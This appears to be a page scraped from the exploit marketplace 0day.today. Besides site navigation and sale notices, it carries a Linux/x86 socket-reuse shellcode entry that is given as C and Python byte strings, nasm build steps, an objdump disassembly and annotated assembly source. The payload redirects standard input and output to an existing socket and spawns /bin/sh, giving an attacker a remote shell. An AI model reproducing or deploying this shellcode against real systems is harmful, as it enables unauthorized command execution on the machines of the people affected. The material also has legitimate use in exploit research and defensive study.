0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Linux/x86 - execve(/bin/sh) socket reuse Shellcode (42 bytes)
[# Exploit Name: Linux/x86 - execve(/bin/sh) socket reuse Shellcode (42 bytes)
# Author : WangYihang
# Tested on: Linux_x86
# Shellcode Length: 42
# CVE: N/A
;================================================================================
# Shellcode :
char shellcode[] = "\x31\xdb\xb3\x03\x31\xc9\xb1\x03\xfe\xc9\x31\xc0\xb0\x3f\xcd\x80\x80\xf9\xff\x75\xf3\x31\xc9\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
;================================================================================
# Python :
shellcode = "\x31\xdb\xb3\x03\x31\xc9\xb1\x03\xfe\xc9\x31\xc0\xb0\x3f\xcd\x80\x80\xf9\xff\x75\xf3\x31\xc9\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
;================================================================================
; Build :
; $ nasm -f elf32 shellcode.asm -o shellcode
; $ objdump -d shellcode
; shellcode: file format elf32-i386
; Disassembly of section .text:
; 00000000 <_start>:
; 0: 31 db xor %ebx,%ebx
; 2: b3 03 mov $0x3,%bl
; 4: 31 c9 xor %ecx,%ecx
; 6: b1 03 mov $0x3,%cl
; 00000008 <dup2>:
; 8: fe c9 dec %cl
; a: 31 c0 xor %eax,%eax
; c: b0 3f mov $0x3f,%al
; e: cd 80 int $0x80
; 10: 80 f9 ff cmp $0xff,%cl
; 13: 75 f3 jne 8 <dup2>
; 00000015 <execve>:
; 15: 31 c9 xor %ecx,%ecx
; 17: 6a 0b push $0xb
; 19: 58 pop %eax
; 1a: 99 cltd
; 1b: 52 push %edx
; 1c: 68 2f 2f 73 68 push $0x68732f2f
; 21: 68 2f 62 69 6e push $0x6e69622f
; 26: 89 e3 mov %esp,%ebx
; 28: cd 80 int $0x80
;================================================================================
; Assembly language source code :
; shellcode.asm
;global _start
; _start:
; set ebx to the old socket fd = 3
; xor ebx, ebx
; mov bl, 03H
;
; init new socket fd
; xor ecx, ecx
; mov cl, 3
;
; dup2(socket, stdin)
; dup2(socket, stdout)
; dup2(socket, stderr)
; dup2:
; dec cl
; xor eax, eax
; mov al, 3FH
; int 80H
; cmp cl, 0FFH
; jne dup2
;
; execve:
; execve("/bin/sh", "/bin/sh", 0)
; xor ecx, ecx
; push 0bH
; pop eax
; cdq
; push edx
; push "//sh"
; push "/bin"
; mov ebx, esp
; int 80H
# 0day.today [2024-12-28] #